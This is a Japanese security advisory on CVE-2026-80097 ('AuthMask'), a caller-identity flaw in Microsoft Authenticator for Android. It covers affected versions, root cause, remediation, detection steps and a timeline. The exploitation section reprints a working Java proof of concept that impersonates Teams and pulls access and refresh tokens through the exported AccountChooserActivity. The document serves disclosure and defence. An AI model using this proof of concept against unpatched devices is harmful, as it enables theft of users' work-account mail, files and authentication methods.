AuthMask：Android版Microsoft Authenticatorのトークン窃取（CVE-2026-80097）

要点

• Android版Microsoft Authenticatorは、他のMicrosoftアプリの認証ブローカーとして動作します。6.2606.4246より前のバージョンでは、一つのエクスポートされたアクティビティによって、権限を一切持たない端末上の任意のアプリが、Teamsなどのインストール済みMicrosoftアプリを名乗り、そのアプリのクライアントIDの下で職場アカウントのトークンを平文で受け取れました。これにはアクセストークンとリフレッシュトークンが含まれます。研究者による実証はAuthMaskと呼ばれ、この脆弱性はCVE-2026-80097です。
• Android版Microsoft Authenticatorが6.2606.4246未満で、職場アカウントにサインインしているすべての端末が対象です。CVSS v3.1基本スコアは8.6、重大度は高（CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H/E:U/RL:O/RC:C）で、Microsoft独自の重大度評価は重要です。
• Microsoftは、この脆弱性は悪用されておらず、修正前に一般公開されていなかったとしています。CISA ADP評価でも悪用はなしと記録されています。2026年10月27日時点で、CISA KEVカタログには掲載されていません。研究者が2026年10月23日に公開した概念実証（PoC）は、攻撃チェーン全体を示しています。ベクトルのエクスプロイト成熟度E:U（未実証）は、このPoCが公開される前の9月8日にMicrosoftが行った評価に基づきます。
• Android版Microsoft Authenticatorを6.2606.4246以降に更新してください。Android端末を管理する組織は、デバイス管理を通じてこの最低バージョンを必須にできます。

影響を受けるか

次の両方に当てはまる端末は脆弱です。

• Android版Microsoft Authenticator（パッケージcom.azure.authenticator）が6.2606.4246より前のバージョンで稼働している
• その端末のAuthenticatorに職場アカウントでサインインしている。ブローカーがサインイン中のアカウントのトークンを渡すためです。

悪用には、さらに端末上に悪意あるアプリがインストールされている必要があります。これは攻撃者側の前提条件であり、脆弱であることの条件ではありません。PoCアプリは権限を一切持たず、攻撃はWebサイトではなく、そのアプリから開始されます。

端末が6.2606.4246以降を実行していれば、この脆弱性の影響は受けません。2026年10月27日の確認時点では、Google Playの掲載バージョンは10月26日更新の6.2609.6214でした。脆弱性はAndroidアプリのブローカー実装にあります。公開アドバイザリと研究はAndroidアプリを対象としており、入手可能な情報源に他のプラットフォームについての記述はありません。

Google Playの掲載情報では、ダウンロード数は1億以上です（2026年10月27日確認）。MicrosoftのAndroid SSOドキュメントは、Authenticatorを認証ブローカーとして説明しています。アプリはこれを使い、トークンを取得して端末全体でサインインを共有できます。

使用中のバージョンを確認します。

• 端末上：Androidの設定からアプリ、Microsoft Authenticatorの順に開き、アプリ情報画面に表示されるバージョンを確認します。アプリ内のバージョン情報画面にも同じ値が表示されます。
• 管理対象の端末群：デバイス管理のインベントリからcom.azure.authenticatorの報告バージョンを確認し、6.2606.4246以降を必須にします。

修正方法

Google PlayからAndroid版Microsoft Authenticatorを更新し、インストール済みバージョンが6.2606.4246以降であることを確認してください。管理対象の端末群では、デバイス管理プラットフォームを通じてこの最低バージョンを必須にし、更新が遅れている端末がサインインしたままにならないようにします。

入手可能な情報源の説明は修正までにとどまります。The Hacker Newsが報じたMicrosoftのアドバイザリは、更新によって悪意あるアプリがすでに収集した可能性のあるトークンが失効するかどうかを明示しておらず、研究者の公開情報もその点には触れていません。

修正前のビルドと見覚えのないアプリが共存していた端末は、漏えいの可能性があるものとして扱ってください。Microsoftのアクセス取り消しガイダンスに従い、管理者がEntra ID > ユーザー > すべてのユーザーで対象ユーザーを選択し、セッションの取り消しを実行します。これによりリフレッシュトークンは失効しますが、既存のアクセストークンは有効期限まで有効な場合があります。これらのセッションから漏えいした可能性がある認証情報もローテーションしてください。

更新以外に設定による回避策はありません。脆弱性はブローカーの検証ロジックにあるため、Authenticatorの設定を変えても動作は変わりません。

根本原因

ブローカーのトークンリクエストは、呼び出し元アプリが渡した値だけで構築され、署名チェックも呼び出し元が制御するデータに照らして、申告された身元を検証していました。チェックの両側が同じ呼び出し元に由来するため、権限を一切持たないアプリでも、インストール済みの任意のMicrosoftアプリを装って通過できました。

研究者が脆弱なビルドについて公開した攻撃チェーンは、3つの部分から成ります。

第一に、入口はすべてのアプリに開かれています。Authenticatorはandroid:exported="true"と指定されたアクティビティcom.microsoft.identity.client.AccountChooserActivityを公開しており、端末上の任意のアプリが起動できます。唯一の条件はgetCallingActivity()がnullでないことで、startActivityForResultを使う呼び出し元ならすべて満たします。

第二に、リクエストは攻撃者が作成します。アクティビティはインテントのextrasをそのままアカウント選択処理に読み込み、そこからブローカーリクエストを構築します。呼び出し元のUIDはcaller.info.uidのextraから取得し、アプリ名、パッケージ名、クライアントID、リダイレクトURI、スコープはすべてbroker_request_v2のJSON extraから取得します。公開情報の要約は明快です。呼び出し元の身元は、信頼性の判断に一度も使われていませんでした。

第三に、検証は呼び出し元自身の申告を追認しています。BrokerInteractiveTokenCommandParameters.validate()は次を呼び出します。

platformUtil.isValidCallingApp(getRedirectUri(), getCallerPackageName());

そしてisValidCallingAppは、申告されたパッケージのインストール済み署名から、そのパッケージが使うべきリダイレクトURIを計算し、呼び出し元が送ったリダイレクトURIと比較します。

String brokerRedirectUri = PackageHelper.getBrokerRedirectUri(this.mContext, claimedPackage);
return StringUtil.equalsIgnoreCase(claimedRedirect, brokerRedirectUri);

なりすまし先のアプリは実際にインストールされているため、その本物の署名をPackageManager経由で読み取れます。攻撃者はそれを読み、本物のリダイレクトURIを組み立ててリクエストに入れます。するとチェックを通過します。AuthenticatorにはgetCallingActivity().getPackageName()から得られる実際の呼び出し元という別の答えがありましたが、記録用にしか使わず、信頼性の判断には使っていませんでした。

悪用方法

攻撃者のアプリは、なりすまし先のアプリの署名を読み、そのアプリを名乗るブローカーリクエストを構築して、エクスポートされたアクティビティを起動し、自身のonActivityResultでトークンを受け取ります。

Teamsを装う公開PoCは次のとおりです。

int uid = getPackageManager().getApplicationInfo("com.microsoft.teams", 0).uid; // read Teams' uid
String redirect = "msauth://com.microsoft.teams/" + urlEncode(sha1OfInstalledSig("com.microsoft.teams"));

JSONObject req = new JSONObject();           // broker_request_v2, all attacker-controlled
req.put("client_app_name", "com.microsoft.teams");
req.put("client_id", "1fec8e78-bce4-4aaf-ab1b-5451cc387264");
req.put("redirect_uri", redirect);
req.put("scopes", "https://graph.microsoft.com/.default");
req.put("authority", "https://login.microsoftonline.com/organizations");
req.put("username", "<victim-upn>");        // the victim's UPN

Intent i = new Intent();
i.setClassName("com.azure.authenticator", "com.microsoft.identity.client.AccountChooserActivity");
i.putExtra("caller.info.uid", uid);          // spoofed caller uid
i.putExtra("common.broker.protocol.version.name", "20.0");
i.putExtra("broker_request_v2", req.toString());
startActivityForResult(i, 1);                // tokens come back to onActivityResult

手順を順に示します。

1. 権限を一切持たない攻撃者のアプリが、なりすましたいMicrosoftアプリ、この例ではTeamsのUIDとインストール済み署名を読み取ります。
2. ブローカー自身の検証が同じ値を再現するよう、その署名からmsauth://リダイレクトURIを構築し、クライアントID、スコープ、被害者のユーザー名をbroker_request_v2のextraに書き込みます。
3. startActivityForResultと偽装したcaller.info.uidを使い、エクスポートされたAccountChooserActivityを起動します。この呼び出しによってアクティビティに呼び出し元アクティビティが設定されるため、getCallingActivity()がnullではなくなり、唯一の起動条件を満たします。
4. 検証は、攻撃者が渡したリダイレクトURIと、申告されたパッケージのインストール済み署名から導出したURIを比較します。両側が同じ値なのでチェックは通過し、要求元のアプリが本当にTeamsかどうかはどの段階でも確認されません。
5. アクティビティは起動元にブローカーの結果を返します。これはaccess_token、refresh_token、id_token、client_infoを平文で格納したバンドルで、攻撃者のアプリが解析できます。

攻撃フロー図

攻撃者にできること

攻撃者は、その端末のAuthenticatorにサインインしている職場アカウントのトークンを取得します。トークンには、なりすまし先のアプリのクライアントIDに付与された委任されたアクセス許可が含まれます。

研究者は3種類のなりすましと、そのスコープを測定しています。

• Teamsを装い、Microsoft Graph（graph.microsoft.com/.default）を要求：Mail.ReadWrite、Mail.Send、Files.ReadWrite.All、Calendars.ReadWrite、ChatMessage.Send、Sites.ReadWrite.Allなど。研究者は、メールボックス、ファイル、予定表への完全な委任アクセスと要約しています。
• Teamsチャットのバックエンド（api.spaces.skype.com）を装う：user_impersonation
• Authenticator自身のクライアントを装う：UserAuthenticationMethod.ReadWrite、Passkey.Create、Passkey.Delete

Microsoftと研究者は、端末上に悪意あるアプリがインストールされていることと、Authenticatorに職場アカウントでサインインしていることという2つの前提条件で一致しています。必要な操作については見解が異なります。

• Microsoft：The Hacker Newsが報じたアドバイザリでは、被害者がAuthenticatorでサインイン手順を完了する必要があります。MicrosoftのCVSSベクトルもユーザー操作を必須（UI:R）としています。
• 研究者：ブローカーにサインイン済みの職場アカウントがあれば、PoCはそれ以上のユーザー操作なしでトークンを返しました。

トリアージでは、どちらの説明が当てはまるかにかかわらず、不明なアプリがインストールされている標的端末を、漏えいの可能性があるものとして扱ってください。

修正の検証方法

修正は、アプリを6.2606.4246以降に更新することです。研究者の公開情報によれば、Microsoftは脆弱性を修正しており、6.2606.4246より前のバージョンが影響を受けます。修正済みビルドでは、呼び出し元が別のアプリの身元とリダイレクトURIを渡しても、そのアプリのトークンを取得できてはなりません。

公開情報にはパッチの差分が含まれていないため、修正済みビルドでの正確な検証変更は明らかになっていません。示されているのは、脆弱なブローカーがgetCallingActivity()から実際の呼び出し元パッケージを把握していたにもかかわらず、リクエストのextrasにある申告された身元を信頼していたことです。

防御側は、更新後のテスト端末で期待どおりの動作を確認できます。公開されたなりすましリクエストによって、攻撃アプリに職場アカウントのトークンが返されてはなりません。これは検証基準であり、未公開のパッチ実装についての主張ではありません。

侵害されたかどうかの確認方法

2026年10月27日時点で、この脆弱性に関する侵害指標、攻撃者のパッケージ名、ハッシュ一覧は公開されておらず、入手可能な情報源のMicrosoftアドバイザリにも検知ガイダンスはありません。以下は、公開資料に裏付けられた確認項目です。

• 端末上：インストール済みアプリに見覚えのないもの、特にサイドロードされたものがないか調べ、Authenticatorのバージョンから影響を受けた期間を絞り込みます。
• 職場アカウントのサインインログと監査ログ：想定外のクライアントアプリケーションに、Mail.ReadWrite、Files.ReadWrite.All、Calendars.ReadWrite、UserAuthenticationMethod.ReadWriteなどの委任されたアクセス許可が付与されていないか確認します。
• 同じログ：Teamsのセッションがない端末から、TeamsのクライアントIDを名指しする同意イベントやトークン発行イベントが発生していないか確認します。
• 見覚えのないアプリと6.2606.4246より前のAuthenticatorが共存していた場合は、アカウントのトークンにアクセスできたと想定し、エビデンスを待たずにアクティブなセッションとリフレッシュトークンを失効させます。

タイムライン

• 2026-09-08：Microsoftが、Android版Microsoft Authenticator 6.2606.4246の修正とともにCVE-2026-80097を公開（CVEレコードのdatePublished）。研究者はこの日より前にMSRCへ問題を報告していました。修正済みアプリバージョンのリリース日は、入手可能な情報源には記載されていません。
• 2026-10-23：Enclaveが完全なPoCを含むAuthMaskの技術情報を公開。Enclave Fellowship Programを通じた研究者Ofek Levinの成果として紹介されています。
• 2026-10-26：Google Playの掲載情報をバージョン6.2609.6214に更新（2026年10月27日確認）。
• 2026-10-27：The Hacker Newsが脆弱性とアドバイザリの修正ガイダンスを報道。続いて本記事を公開。CVEレコードのCISA ADP評価は、悪用なしとしています。

よくある質問

iOSアプリは影響を受けるか

入手可能な情報源には記載がありません。アドバイザリ、研究者の公開情報、報道はいずれもAndroid版Microsoft Authenticatorを対象とし、攻撃チェーンはエクスポートされたアクティビティ、PackageManagerによる署名読み取り、MSAL AndroidブローカープロトコルというAndroidの機構で構成されています。iOSアプリについて影響の有無を示す情報源はないため、これはAndroid向けの修正として扱い、他のプラットフォームについてはベンダーの発表を確認してください。

被害者は何かをタップする必要があったか

Microsoftと研究者の見解は異なります。Microsoftのアドバイザリは、悪用には被害者がAuthenticatorでサインイン手順を完了する必要があるとし、CVSSベクトルでもユーザー操作を必須としています。研究者は、ブローカーが存在する端末で職場アカウントにサインインしていれば、それ以上の操作なしにPoCがトークンを返したと報告しています。トリアージに重要な前提条件、つまり悪意あるアプリのインストールと職場アカウントへのサインインについては、両者とも一致しています。

すでに盗まれたトークンはアプリの更新で失効するか

入手可能な情報源には記載がありません。Microsoftのアドバイザリは修正バージョンを示していますが、The Hacker Newsが報じたとおり、悪意あるアプリがすでに収集したトークンを更新が無効にするかどうかは明記していません。収集を疑う理由がある場合は、更新に頼らず、アカウントのセッションとリフレッシュトークンを直接失効させてください。

重大度がクリティカルではなく高と重要なのはなぜか

2つの評価尺度が関係しています。CVSS v3.1基本スコア8.6は高の範囲（7.0～8.9）に入り、重要はMicrosoft独自の重大度評価です。CVSSでは攻撃はローカルです。攻撃者はまず端末上にアプリをインストールする必要があり、ベクトルではAV:Lと表されます。さらにMicrosoftはユーザー操作を必須としているため、スコアが下がります。CISAのADP評価は、悪用なし、自動化不可、技術的影響は全面的と記録しています。ローカルの攻撃ベクトルであるため、端末群に対して遠隔から一斉に攻撃を開始することはできません。

実環境で悪用されたか

いいえ。Microsoftは、この脆弱性は攻撃に使われておらず、修正前に一般公開されていなかったとし、悪用の可能性は低いと評価しています。CISA ADP評価も悪用なしと記録しており、2026年10月27日時点でCISA KEVカタログにこのCVEは掲載されていません。

悪意あるアプリを削除すれば修正されるか

攻撃者の足場は除去できますが、すでに生じたリスクは取り消せません。削除前に収集されたトークンは、有効期限が切れるか失効するまで有効です。そのため、アプリの削除と併せてアカウントのアクティビティを確認し、セッションを取り消したうえで、同じ攻撃チェーンが再び実行されないようAuthenticatorを更新してください。

Ostorlabで自社Androidアプリのブローカー処理を確認

公開済みのAndroidアプリにOstorlabのモバイルスキャンを実行し、インテントのextrasを使って信頼性を判断するエクスポートされたアクティビティを確認してください。各アクティビティがトークンやその他の機密データを返す前に、実際の呼び出し元を検証していることを確かめます。この呼び出し元のチェックこそ、AuthMaskが守れなかった境界です。

参考文献

• Enclave、「AuthMask: We Made Microsoft Authenticator Hand Over Tokens to an App With Zero Permissions」、2026年10月23日、Enclave Fellowship Programを通じた研究者Ofek Levinの成果：エクスポートされたAccountChooserActivity、呼び出し元が渡すブローカーリクエスト、自己確認に終始する署名チェック、完全なPoC、測定されたスコープ、修正バージョン：https://enclave.ai/blog/authmask-we-made-microsoft-authenticator-hand-over-tokens （2026年10月27日確認）
• Microsoft Security Response CenterのCVE-2026-80097アドバイザリ、2026年9月8日公開：https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-80097 （JSで描画されるページ。アドバイザリの内容はCVEレコードと下記のThe Hacker Newsの報道から取得）
• CVE-2026-80097レコード、CNAはMicrosoft、2026年9月8日公開。「Microsoft Authenticatorの不適切な認証により、認可されていない攻撃者がローカルで権限昇格できる」。CVSS v3.1 8.6（CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H/E:U/RL:O/RC:C）。CISA ADP SSVC評価は悪用なし、自動化不可、技術的影響は全面的：https://cveawg.mitre.org/api/cve/CVE-2026-80097 （2026年10月27日確認）
• The Hacker News、「Microsoft Authenticator Flaw Let Permissionless Android Apps Steal Work Account Tokens」、2026年10月27日。修正バージョン6.2606.4246、サインイン手順という前提条件、悪用なしという状況、重要・8.6という評価、9月のPatch Tuesdayとの関連、デバイス管理による修正経路についてMicrosoftのアドバイザリを引用：https://thehackernews.com/2026/10/microsoft-authenticator-flaw-let.html （2026年10月27日確認）
• Android版Microsoft AuthenticatorのGoogle Play掲載情報、com.azure.authenticator、ダウンロード数1億以上、現行バージョン6.2609.6214は2026年10月26日更新：https://play.google.com/store/apps/details?id=com.azure.authenticator （2026年10月27日確認）
• CISA Known Exploited Vulnerabilitiesカタログ、2026年10月27日にCVE-2026-80097を確認（掲載なし）：https://www.cisa.gov/known-exploited-vulnerabilities-catalog